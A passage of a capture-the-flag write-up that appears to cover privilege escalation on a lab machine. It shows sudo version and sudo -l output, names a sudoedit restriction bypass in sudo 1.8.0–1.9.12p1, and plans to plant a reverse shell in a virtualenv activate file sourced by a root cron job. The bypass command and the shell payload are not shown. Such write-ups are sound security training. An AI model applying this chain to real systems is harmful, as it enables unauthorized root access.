PrivEsc

We can run the binary sudoedit as dev_admin to open specific files. So lets check the version number of this binary.

edwards@agile:/app/app-testing/tests/functional$ sudoedit -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

To escalate our privileges, we need to utilize a vulnerability in sudo 1.8.0 to 1.9.12p1.

edwards@agile:~/.config/cni/net.d$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

But we cannot run sudoedit as root but only has dev_admin who cannot edit the sudoers file. What can we edit then?

Files accessible to dev_admin

The /venv/bin/activate file was referenced by test_and_update.sh

So where are we now?

  1. From ps -ef --forest command ran previously we saw that there is a cron job running as root. And it runs test_and_update.sh script.

  2. test_and_update.sh script will run /app/venv/bin/activate file. And dev_admin can edit this file, and we can run sudoedit with dev_admin but on specific files.

  3. The CVE lets us bypass the restriction so we can edit any file accessible to dev_admin.

So if I edit the activate file and add a reverse shell in it:

We should get a shell as root if the cron job runs.

Last updated